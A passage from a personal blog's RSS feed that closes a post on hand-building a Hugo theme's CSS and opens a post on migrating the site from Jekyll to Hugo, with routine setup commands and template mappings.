&lt;img srcset=&quot;/images/posts/hugo-theme/nostyle-480.png 480w, /images/posts/hugo-theme/nostyle-640.png 640w, /images/posts/hugo-theme/nostyle-960.png 960w, /images/posts/hugo-theme/nostyle-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/hugo-theme/nostyle-640.png&quot; alt=&quot;List of articles, no styles. Fresh.&quot;&gt;
&lt;p&gt;Alex also showed me &lt;a href=&quot;https://themes.gohugo.io/theme/hugo-theme-terminal/&quot;&gt;a theme&lt;/a&gt; that he liked. Specifically the row of lines in the site header, and the double-dotted underlines for article titles. Also, the colour scheme of orange on dark. Good enough for me to go on.&lt;/p&gt;
&lt;p&gt;Colours were already settled because I just grabbed them off the theme with &lt;a href=&quot;https://sipapp.io/&quot;&gt;Sip&lt;/a&gt; (my colour-picker app of choice). And I went with &lt;a href=&quot;https://fontlibrary.org/en/font/elaine-sans&quot;&gt;Elaine Sans&lt;/a&gt; by Wei Huang, which is a fork of Work Sans but with some whimsical modifications.&lt;/p&gt;
&lt;h3&gt;First pass layout&lt;/h3&gt;
&lt;p&gt;Multi-column is not too complicated to implement. Tell the browser how wide you&apos;d like your columns to be, and let the browser take it away.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.post-list {
  column-width: 20em;
}

.post-list li {
  break-inside: avoid;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;break-inside: avoid&lt;/code&gt; makes sure the cards don&apos;t get chopped in half between columns. As for the double dotted underlines, I got a little help from the &lt;code&gt;::after&lt;/code&gt; pseudo-element.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.post-title {
  position: relative;
  border-bottom: 3px dotted $main;
  padding-bottom: 0.75em;
  line-height: 1.2;
}

.post-title::after {
  content: &amp;quot;&amp;quot;;
  position: absolute;
  bottom: 2px;
  display: block;
  width: 100%;
  border-bottom: 3px dotted $main;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The rest of the styles were declaring basic colours, fonts, padding and margin adjustments, that sort of thing. And so we got our first pass.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/hugo-theme/first-480.png 480w, /images/posts/hugo-theme/first-640.png 640w, /images/posts/hugo-theme/first-960.png 960w, /images/posts/hugo-theme/first-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/hugo-theme/first-640.png&quot; alt=&quot;Basic multi-col layout&quot;&gt;
&lt;h3&gt;Websites need headers, probably&lt;/h3&gt;
&lt;p&gt;It&apos;s a start, I suppose. I work better with sketches, whether I draw them myself or someone else does it, no difference. So Alex sent over this sketch of what he had in mind.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/hugo-theme/sketch-480.jpg 480w, /images/posts/hugo-theme/sketch-640.jpg 640w, /images/posts/hugo-theme/sketch-960.jpg 960w, /images/posts/hugo-theme/sketch-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/hugo-theme/sketch-640.jpg&quot; alt=&quot;Sketch of home page layout&quot;&gt;
&lt;p&gt;An excellent requirements document, if you ask me. There are even annotations for interactivity. I&apos;d take this over a pixel perfect Photo-shop mock ANY DAY. Simply because it informs the general concept while giving me all the freedom to make adjustments as the viewport changes.&lt;/p&gt;
&lt;p&gt;Such sketches are also low-fidelity enough that nobody is precious about them, which makes it great for iterating in quick succession.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/hugo-theme/second-480.jpg 480w, /images/posts/hugo-theme/second-640.jpg 640w, /images/posts/hugo-theme/second-960.jpg 960w, /images/posts/hugo-theme/second-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/hugo-theme/second-640.jpg&quot; alt=&quot;Initial sidebar layout&quot;&gt;
&lt;p&gt;It didn&apos;t feel like the graduated lines would fit as a site title, but given that the header of the site was going to laid out as a left sidebar, it would work on links.&lt;/p&gt;
&lt;p&gt;There is more than one way to achieve this effect, but they all make use of the &lt;code&gt;::after&lt;/code&gt; pseudo-element. I mean, you could use an image but that would make it tedious to dynamically change the length of the text if you decide you want to switch up the links one day.&lt;/p&gt;
&lt;p&gt;A repeating linear gradient does the trick fairly well. You could try it with multiple positioned box-shadows of the pseudo-element styled to look like one graduated line, but typing out every position of each shadow got a bit tedious for me.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.nav-links li::after {
  display: block;
  content: &amp;quot; &amp;quot;;
  color: transparent;
  width: 100%;
  background-image: repeating-linear-gradient(
    90deg,
    $main,
    $main 2px,
    transparent 0,
    transparent 10px
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As for the card outline, I went with a mix of border and box-shadow because I felt there was still something more we could do with the dots.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.post-list li {
  border-top: 3px dotted $main;
  border-left: 3px dotted $main;
  box-shadow: 4px 4px 0 0 $main;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That would give you the dotted lines on the top and left, and a normal box-shadow effect on the right and bottom of each article card.&lt;/p&gt;
&lt;h3&gt;Extra tweaks and fixes&lt;/h3&gt;
&lt;p&gt;The broad overall structure of the site was in place, but things are far from done at this point because this is usually when I start doing my compulsive browser resizing exercise.&lt;/p&gt;
&lt;p&gt;Let&apos;s start with the site header, which is essentially a sidebar, right? It is of full-viewport length and fixed in place with positioning, which means there is a possibility of the layout breaking as the viewport height shrinks.&lt;/p&gt;
&lt;video controls autoplay muted loop&gt;
  &lt;source src=&quot;/videos/height-adjust.mp4&quot; type=&quot;video/mp4&quot; /&gt;
  Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
  but don&apos;t worry, you can &lt;a href=&quot;/videos/height-adjust.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
  favourite video player!
&lt;/video&gt;
&lt;p&gt;If you look at where I decide the breakpoint, it&apos;s not a number I pulled out of a hat, it&apos;s the height of the viewport where links don&apos;t fit any more. And herein lies the un-scalability of this design.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@media screen and (max-width: 514px) {
  /* Some styles */
}

@media screen and (max-width: 799px) {
  /* Some more styles */
}

@media screen and (min-width: 675px) and (max-width: 799px) {
  /* Some other styles */
}

@media screen and (min-width: 800px) {
  /* You know where this is going */

  @media screen and (max-height: 665px) {
    /* Nested media queries, wuttt */
  }

  @media screen and (max-height: 400px) {
    /* Wooo moar tweaks */
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What happens when another link is added? I come back and change the breakpoint. Is this a “correct” approach? I can&apos;t answer that. What I can say is that for a site like this, I don&apos;t want to write the CSS once and call it a day.&lt;/p&gt;
&lt;h3&gt;Moar browser tests&lt;/h3&gt;
&lt;img srcset=&quot;/images/posts/hugo-theme/ie11-480.jpg 480w, /images/posts/hugo-theme/ie11-640.jpg 640w, /images/posts/hugo-theme/ie11-960.jpg 960w, /images/posts/hugo-theme/ie11-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/hugo-theme/ie11-640.jpg&quot; alt=&quot;Home page on IE11&quot;&gt;
&lt;p&gt;Do you test your websites on IE11? I still do. How many people view the site on IE11? I have no idea. To me, it&apos;s a matter of principle that the layout not be broken. Not broken doesn&apos;t mean “looks &lt;strong&gt;exactly&lt;/strong&gt; the same”.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@media screen and (min-width: 800px) and (-ms-high-contrast: none) {
  /* IE11 specific fixes */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;ve made my opinion known before that I LOVE the fact that one layout can potentially have multiple looks depending on the context it is being viewed in. I appreciate this as a feature of the web medium. And I look upon it fondly.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/hugo-theme/lynx-480.jpg 480w, /images/posts/hugo-theme/lynx-640.jpg 640w, /images/posts/hugo-theme/lynx-960.jpg 960w, /images/posts/hugo-theme/lynx-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/hugo-theme/lynx-640.jpg&quot; alt=&quot;Home page on Lynx&quot;&gt;
&lt;p&gt;I also run the site through Lynx, just to check on the structure. For most static sites, this usually doesn&apos;t yield too many issues (at least in my limited sample of tests), but it&apos;s good to do a quick check.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;To me, such a design is a garden that needs to be tended and revisited, pruned and maintained, especially as content grows, or if more elements are added. Every content modification is an &lt;em&gt;opportunity&lt;/em&gt; to make a new design decision.&lt;/p&gt;
&lt;p&gt;Sometimes you won&apos;t have to do anything, e.g. if a new article is added, not much needs to be done. But if a new section is added, maybe the design needs to be tweaked. I love that. I love the amount of care and consideration each of these decisions demand. I love that this is a project that is never final.&lt;/p&gt;
&lt;p&gt;This is not industrial mass-produced CSS. This is customised CSS that only works well for this particular site. And that&apos;s the way I like it.&lt;/p&gt;
</content:encoded></item><item><title>Migrating from Jekyll to Hugo</title><link>https://chenhuijing.com/blog/migrating-from-jekyll-to-hugo/</link><guid isPermaLink="true">https://chenhuijing.com/blog/migrating-from-jekyll-to-hugo/</guid><description>After 1992 days on Jekyll hosted on GitHub Pages, all the nonsense I have published on my website is now being built on Hugo hosted on Netlify. I still love…</description><pubDate>Wed, 29 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After 1992 days on Jekyll hosted on GitHub Pages, all the nonsense I have published on my website is now being built on Hugo hosted on Netlify. I still love Jekyll, I mean, it was the first static-site generator I ever used. I even &lt;a href=&quot;https://youtu.be/CERXESTZ5w4&quot;&gt;spoke at JekyllConf&lt;/a&gt; last year, so yeah, always a spot in my heart.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Warning: this post is so long. So so long. There is practical stuff in it, I promise. But maybe use the search function. Or just scroll through to find what&apos;s relevant. I use headers, if that helps.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I suppose the question most people would ask is, why switch? It was a multitude of little things which added up to push me over the edge. I&apos;ve contemplated making the switch as early as 2017 when quite a few folks I knew were moving over from Jekyll to Hugo.&lt;/p&gt;
&lt;p&gt;But I was comfortable with Jekyll, and I also poured in a lot of hours customising features with data files, adding tags (which was convoluted when I started with 2.5.1, okay?) and so on. Back in the days during my first job, I was a consultant on a major bank&apos;s core system replacement. It was a 20-year-old heavily customised beast, and nobody wanted to do the replacement. Until they had to.&lt;/p&gt;
&lt;p&gt;This website is not even a tiny fraction of the scope of that project, but I now truly understand the psychology behind letting the beast continue to grow over the years. It&apos;s a trade-off, because the more effort you sink into the current system, the more painful the migration will be. Eventually.&lt;/p&gt;
&lt;p&gt;When I did the migration, there were 186 posts. 186! That is a lot of shit I wrote over the years. Most of it just ramblings and brain dumps. Well, I laid in the bed I made, didn&apos;t I? By the time I got to about 100 posts (probably around 2017), the build was really starting to slow. I could sort of live with it though (the slowness was gradual).&lt;/p&gt;
&lt;p&gt;Jekyll eventually introduced incremental builds, which gave me more reason to stay put. A large part of it was also because the site was hosted on GitHub Pages, and GitHub Pages played best with Jekyll. Recently I found out that there was &lt;a href=&quot;https://github.com/github/pages-gem/issues/651&quot;&gt;no plan to support Jekyll 4&lt;/a&gt;, at least, not with the current &lt;a href=&quot;https://github.com/github/pages-gem&quot;&gt;pages-gem&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The kicker for me was &lt;a href=&quot;https://github.com/jekyll/jekyll/issues/7947&quot;&gt;this issue&lt;/a&gt; causing a flurry of deprecation warnings on Ruby 2.7 every time I tried to run the site locally. The solution was to wait for the 4.1 release, which would never happen on GitHub Pages.&lt;/p&gt;
&lt;p&gt;A smarter person would probably have just upgraded to the latest Jekyll and moved hosting to Netlify, but I&apos;m stooooopid. Also, you know how newly hired football managers feel compelled to make some big moves? Same mindset. Go big or GO HOME! (Or stay home, this happened during the COVID-19 pandemic, readers from the far future).&lt;/p&gt;
&lt;h2&gt;Research first, actual work later&lt;/h2&gt;
&lt;p&gt;To be fair, I had done the research portion before. I just never got PAST that phase. At some point I always just threw my hands up and said, too much work kthxbye. But not this time. So I dug up &lt;a href=&quot;https://www.sarasoueidan.com/blog/jekyll-ghpages-to-hugo-netlify/&quot;&gt;Sara Souidan&apos;s migration article&lt;/a&gt; again and actually tried to follow it. Please read that first. It&apos;s much better written than this.&lt;/p&gt;
&lt;p&gt;First things first, install Hugo. I use a Mac for development work, so &lt;a href=&quot;https://brew.sh/&quot;&gt;Homebrew&lt;/a&gt; is my package manager of choice. Apparently it works for Linux, but I never tried.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew install hugo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hugo has an &lt;code&gt;import&lt;/code&gt; option, so I ran that as the next step, after creating a blank folder as the migration destination. (&lt;code&gt;jing&lt;/code&gt; is my Jekyll source, and &lt;code&gt;migrate&lt;/code&gt; is the destination)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir migrate
hugo import jekyll jing migrate
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If all went well, you should see the following output in your terminal.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Importing...
Congratulations! 186 post(s) imported!
Now, start Hugo by yourself:
$ git clone https://github.com/spf13/herring-cove.git migrate/themes/herring-cove
$ cd migrate
$ hugo server --theme=herring-cove
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here&apos;s a comparison of the two project folders, left one being Jekyll and right one being Hugo.&lt;/p&gt;
&lt;img src=&quot;/images/posts/migrate-hugo/folder.png&quot; srcset=&quot;/images/posts/migrate-hugo/folder@2x.png 2x&quot; alt=&quot;Jekyll project folder structure versus Hugo project folder structure&quot;&gt;
&lt;p&gt;The migration populated only two folders, &lt;em&gt;content&lt;/em&gt; and &lt;em&gt;static&lt;/em&gt;. All my posts went into a &lt;em&gt;post&lt;/em&gt; folder in &lt;em&gt;content&lt;/em&gt; and some of the stuff in my root folder went into &lt;em&gt;static&lt;/em&gt;. Not too bad. I tried just running &lt;code&gt;hugo server&lt;/code&gt; without a theme. Bad idea.&lt;/p&gt;
&lt;p&gt;You get a whole bunch of warnings in the terminal (way more than what I&apos;m showing below). The server will run, but your browser will render NOTHING.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Building sites … WARN 2020/04/29 12:39:49 found no layout file for &amp;quot;HTML&amp;quot; for kind &amp;quot;page&amp;quot;: You should create a template file which matches Hugo Layouts Lookup Rules for this combination.
WARN 2020/04/29 12:39:49 found no layout file for &amp;quot;HTML&amp;quot; for kind &amp;quot;page&amp;quot;: You should create a template file which matches Hugo Layouts Lookup Rules for this combination.
WARN 2020/04/29 12:39:49 found no layout file for &amp;quot;HTML&amp;quot; for kind &amp;quot;page&amp;quot;: You should create a template file which matches Hugo Layouts Lookup Rules for this combination.
WARN 2020/04/29 12:39:49 found no layout file for &amp;quot;HTML&amp;quot; for kind &amp;quot;page&amp;quot;: You should create a template file which matches Hugo Layouts Lookup Rules for this combination.
WARN 2020/04/29 12:39:49 found no layout file for &amp;quot;HTML&amp;quot; for kind &amp;quot;page&amp;quot;: You should create a template file which matches Hugo Layouts Lookup Rules for this combination.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sara&apos;s post also highlights the importance of getting the &lt;a href=&quot;https://gohugo.io/templates/lookup-order/&quot;&gt;template lookup rules&lt;/a&gt; right for your pages to render correctly, and I spent quite a bit of time on it as well. So something to take note of.&lt;/p&gt;
&lt;p&gt;I continued with Sara&apos;s post and after setting up Hugo, she touches upon the Hugo configuration file. You can use &lt;code&gt;.toml&lt;/code&gt; but I went with &lt;code&gt;.yml&lt;/code&gt; because I was lazy to rewrite the format from Jekyll. This is what Hugo starts you off with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;baseURL: https://www.chenhuijing.com
disablePathToLower: true
languageCode: en-us
title: Chen Hui Jing
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I recommend going through the Hugo&apos;s &lt;a href=&quot;https://gohugo.io/variables/site/&quot;&gt;Site Variables&lt;/a&gt; documentation to figure out what you need in yours. When using Jekyll I had two configuration files, &lt;code&gt;_config.yml&lt;/code&gt; for production and &lt;code&gt;_config_dev.yml&lt;/code&gt; for development.&lt;/p&gt;
&lt;p&gt;For Hugo, the configuration files are put in the &lt;em&gt;config&lt;/em&gt; folder, further broken down into the &lt;em&gt;_default&lt;/em&gt; and &lt;em&gt;production&lt;/em&gt; folders. The &lt;em&gt;config&lt;/em&gt; folder is not created by default, and is only required if you have multiple configuration files. If you only have the one, keep it in the root folder and carry on.&lt;/p&gt;
&lt;h2&gt;Template migration&lt;/h2&gt;
&lt;p&gt;This was half the work. And to serve as documentation to my future self, I&apos;m noting down all the one-to-one functionality matching in case I want to subject myself to another migration project in future. My audience for this post is really &lt;strong&gt;myself&lt;/strong&gt;. You have been warned.&lt;/p&gt;
&lt;p&gt;As of time of writing, Hugo is at version &lt;a href=&quot;https://github.com/gohugoio/hugo/releases/tag/v0.69.2&quot;&gt;0.69.2&lt;/a&gt;, which supports the concept of a &lt;a href=&quot;https://gohugo.io/templates/base/&quot;&gt;base template&lt;/a&gt; that can be extended by blocks. This came in at &lt;code&gt;v0.63.0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;First thing to do is to define a base template in the &lt;em&gt;layouts/_default/&lt;/em&gt; folder called &lt;code&gt;baseof.html&lt;/code&gt;. This is mine:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;{{ .Site.LanguageCode }}&amp;quot;&amp;gt;
  {{ partial &amp;quot;head.html&amp;quot; . }}
  &amp;lt;body&amp;gt;
    &amp;lt;div class=&amp;quot;blender&amp;quot; id=&amp;quot;blender&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;input type=&amp;quot;checkbox&amp;quot; class=&amp;quot;blend-checkbox&amp;quot; id=&amp;quot;blendToggle&amp;quot; /&amp;gt;
    &amp;lt;label for=&amp;quot;blendToggle&amp;quot; class=&amp;quot;blend-toggle&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;
    {{ partial &amp;quot;header.html&amp;quot; . }}

    &amp;lt;main class=&amp;quot;content&amp;quot;&amp;gt;{{ block &amp;quot;main&amp;quot; . }}{{ end }}&amp;lt;/main&amp;gt;

    {{ partial &amp;quot;footer.html&amp;quot; . }} {{ partial &amp;quot;scripts.html&amp;quot; . }}
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The original base layout from Jekyll looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{% include head.html %}

&amp;lt;body&amp;gt;
  &amp;lt;div class=&amp;quot;blender&amp;quot; id=&amp;quot;blender&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
  &amp;lt;input type=&amp;quot;checkbox&amp;quot; class=&amp;quot;blend-checkbox&amp;quot; id=&amp;quot;blendToggle&amp;quot; /&amp;gt;
  &amp;lt;label for=&amp;quot;blendToggle&amp;quot; class=&amp;quot;blend-toggle&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;
  {% include header.html %}

  &amp;lt;main class=&amp;quot;content&amp;quot;&amp;gt;{{ content }}&amp;lt;/main&amp;gt;

  {% include footer.html %} {% include foot.html %}
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Re-using HTML in many places&lt;/h3&gt;
&lt;p&gt;There was a bit of a restructuring of the partials like moving scripts to its own partial etc. but that&apos;s the general idea. So the first one-to-one mapping I learned was for modularising HTML to re-use on multiple pages:&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
  &lt;code&gt;{% include FILE_NAME.html %}&lt;/code&gt; maps to &lt;code&gt;{{ partial &quot;FILE_NAME.html&quot; }}&lt;/code&gt;
&lt;/div&gt;
&lt;p&gt;I also use &lt;a href=&quot;https://mozilla.github.io/nunjucks/&quot;&gt;Nunjucks&lt;/a&gt; in my Eleventy projects and I feel Hugo&apos;s blocks are rather similar to Nunjucks&apos;. Jekyll lets you do inheritance by using the &lt;code&gt;layout&lt;/code&gt; variable in your template&apos;s front matter, so I guess that&apos;s why they don&apos;t need blocks? I don&apos;t know.&lt;/p&gt;
&lt;p&gt;With multiple HTML blocks of varying logic complexity in my &lt;em&gt;includes&lt;/em&gt; folder, I started with the least complicated ones, i.e. those with no conditionals, just site variables. Like the &lt;code&gt;header.html&lt;/code&gt; file. This is the Jekyll version:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;header class=&amp;quot;site-header&amp;quot;&amp;gt;
  &amp;lt;div class=&amp;quot;site-header__wrapper&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;site-branding&amp;quot;&amp;gt;
      &amp;lt;a class=&amp;quot;no-underline&amp;quot; href=&amp;quot;{{ site.baseurl }}/&amp;quot;
        &amp;gt;&amp;lt;span class=&amp;quot;site-branding__image&amp;quot;&amp;gt;Home&amp;lt;/span&amp;gt;&amp;lt;/a
      &amp;gt;
      &amp;lt;div class=&amp;quot;site-branding__wrapper&amp;quot;&amp;gt;
        &amp;lt;h1 class=&amp;quot;site-branding__title&amp;quot;&amp;gt;
          &amp;lt;a class=&amp;quot;no-underline&amp;quot; href=&amp;quot;{{ site.baseurl }}/&amp;quot;&amp;gt;{{ site.title }}&amp;lt;/a&amp;gt;
        &amp;lt;/h1&amp;gt;
        &amp;lt;p class=&amp;quot;site-branding__description&amp;quot;&amp;gt;{{ site.description }}&amp;lt;/p&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;nav class=&amp;quot;site-nav&amp;quot;&amp;gt;
      &amp;lt;a class=&amp;quot;site-nav__link no-underline&amp;quot; href=&amp;quot;/about/&amp;quot;&amp;gt;About&amp;lt;/a&amp;gt;
      &amp;lt;a class=&amp;quot;site-nav__link no-underline&amp;quot; href=&amp;quot;/work/&amp;quot;&amp;gt;Work&amp;lt;/a&amp;gt;
      &amp;lt;a class=&amp;quot;site-nav__link no-underline&amp;quot; href=&amp;quot;/talks/&amp;quot;&amp;gt;Talks&amp;lt;/a&amp;gt;
      &amp;lt;a class=&amp;quot;site-nav__link no-underline&amp;quot; href=&amp;quot;/blog/&amp;quot;&amp;gt;Blog&amp;lt;/a&amp;gt;
    &amp;lt;/nav&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/header&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which mapped to this Hugo version:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;header class=&amp;quot;site-header&amp;quot;&amp;gt;
  &amp;lt;div class=&amp;quot;site-header__wrapper&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;site-branding&amp;quot;&amp;gt;
      &amp;lt;a class=&amp;quot;no-underline&amp;quot; href=&amp;quot;{{ .Site.BaseURL }}&amp;quot;
        &amp;gt;&amp;lt;span class=&amp;quot;site-branding__image&amp;quot;&amp;gt;Home&amp;lt;/span&amp;gt;&amp;lt;/a
      &amp;gt;
      &amp;lt;div class=&amp;quot;site-branding__wrapper&amp;quot;&amp;gt;
        &amp;lt;h1 class=&amp;quot;site-branding__title&amp;quot;&amp;gt;
          &amp;lt;a class=&amp;quot;no-underline&amp;quot; href=&amp;quot;{{ .Site.BaseURL }}&amp;quot;&amp;gt;{{ .Site.Title }}&amp;lt;/a&amp;gt;
        &amp;lt;/h1&amp;gt;
        &amp;lt;p class=&amp;quot;site-branding__description&amp;quot;&amp;gt;{{ .Site.Params.description }}&amp;lt;/p&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;

    &amp;lt;nav class=&amp;quot;site-nav&amp;quot;&amp;gt;
      &amp;lt;a class=&amp;quot;site-nav__link no-underline&amp;quot; href=&amp;quot;/about/&amp;quot;&amp;gt;About&amp;lt;/a&amp;gt;
      &amp;lt;a class=&amp;quot;site-nav__link no-underline&amp;quot; href=&amp;quot;/work/&amp;quot;&amp;gt;Work&amp;lt;/a&amp;gt;
      &amp;lt;a class=&amp;quot;site-nav__link no-underline&amp;quot; href=&amp;quot;/talks/&amp;quot;&amp;gt;Talks&amp;lt;/a&amp;gt;
      &amp;lt;a class=&amp;quot;site-nav__link no-underline&amp;quot; href=&amp;quot;/blog/&amp;quot;&amp;gt;Blog&amp;lt;/a&amp;gt;
    &amp;lt;/nav&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/header&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Site variables are available in both Jekyll and Hugo. You can access them in Jekyll using &lt;code&gt;site.VARIABLE_NAME&lt;/code&gt;. Jekyll does not differentiate between its own native site variables and those custom ones you defined yourself. But in Hugo, you would use &lt;code&gt;Site.VARIABLE_NAME&lt;/code&gt; for the ones that Hugo natively supports or &lt;code&gt;Site.Params.VARIABLE_NAME&lt;/code&gt; for those you define yourself in the configuration file.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
  &lt;code&gt;{{ site.VARIABLE_NAME }}&lt;/code&gt; maps to &lt;code&gt;{{ Site.VARIABLE_NAME }}&lt;/code&gt; or &lt;code&gt;{{ Site.Params.VARIABLE_NAME }}&lt;/code&gt;
&lt;/div&gt;
&lt;p&gt;Take note of how the cases are dealt with, I spent an inordinate amount of time wondering why things refused to render only to realise I used the wrong case on my variable names. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person facepalming&quot;&gt;🤦&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;Conditionals in your templates&lt;/h3&gt;
&lt;p&gt;Conditionals themselves are not too tricky to wrap your head around, but HOW to implement them in the various templating languages, now that will send you on a Google trip all over the interwebs. So Jekyll uses Liquid as the templating language and it has its quirks, like &lt;code&gt;unless&lt;/code&gt;. But every templating language has these. It&apos;s a matter of &lt;strong&gt;figuring each of them out&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Let&apos;s start with a condition in plain English: &lt;em&gt;if the content type is “post” and it has the variable “hascaniuse” in the front matter&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;In Jekyll, it looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{% if page.is_post and page.hascaniuse %}
&amp;lt;!--Do something if condition is true--&amp;gt;
{% endif %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In Hugo, it looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;{{ if (and (eq .Type &amp;quot;blog&amp;quot;) (isset .Params &amp;quot;hascaniuse&amp;quot;)) }}
&amp;lt;!--Do something if condition is true--&amp;gt;
{{ end }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;page.is_post&lt;/code&gt; came out the box with Jekyll so I never gave it a second thought. Even though the Hugo documentation mentions &lt;code&gt;.Type&lt;/code&gt; returns you the content type of the page, I could not find how to equate its value to something. Until I found &lt;a href=&quot;https://kodify.net/hugo/functions/hugo-cond-function/&quot;&gt;this article on the &lt;code&gt;cond&lt;/code&gt; function&lt;/a&gt;, which had &lt;code&gt;eq&lt;/code&gt; in its example.&lt;/p&gt;
&lt;img src=&quot;/images/posts/migrate-hugo/angry.jpg&quot; srcset=&quot;/images/posts/migrate-hugo/angry@2x.jpg 2x&quot; alt=&quot;An angry Shiba puppy&quot;&gt;
&lt;p&gt;I only thought to refer to the &lt;a href=&quot;https://golang.org/pkg/text/template/&quot;&gt;Go templating documentation&lt;/a&gt; much much later.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Page&lt;/em&gt; and &lt;em&gt;Post&lt;/em&gt; are recognised content types by Jekyll out the box. For Hugo, it feels more flexible, because you can either specify the &lt;code&gt;type&lt;/code&gt; variable of a piece of content in the front matter or structure your content folder based on the content types you want.&lt;/p&gt;
&lt;p&gt;For example, all my posts are in the &lt;em&gt;content/blog&lt;/em&gt; folder, so the content type of each post is “blog”. Again, naming is important and exact. Singular means singular, plural means plural. Double-check your folder names if you don&apos;t want to add &lt;code&gt;type: blog&lt;/code&gt; to 186 of your posts&apos; front matter. More on this when I talk about list pages.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
  &lt;code&gt;{{ page.is_post }}&lt;/code&gt; maps to &lt;code&gt;(eq .Type &quot;YOUR_POST_TYPE&quot;)&lt;/code&gt;
&lt;/div&gt;
&lt;p&gt;I also have front matter variables that only appear sporadically on certain posts, specifically posts with embedded tweets, CodePens or Can I Use tables.&lt;/p&gt;
&lt;p&gt;So if the post has a CodePen, in the front matter I would have &lt;code&gt;hascodepen: true&lt;/code&gt;. In Jekyll, I&apos;d do &lt;code&gt;{% page.hascodepen %}&lt;/code&gt; as the condition, while in Hugo, the equivalent would be &lt;code&gt;(isset .Params &amp;quot;hascaniuse&amp;quot;)&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
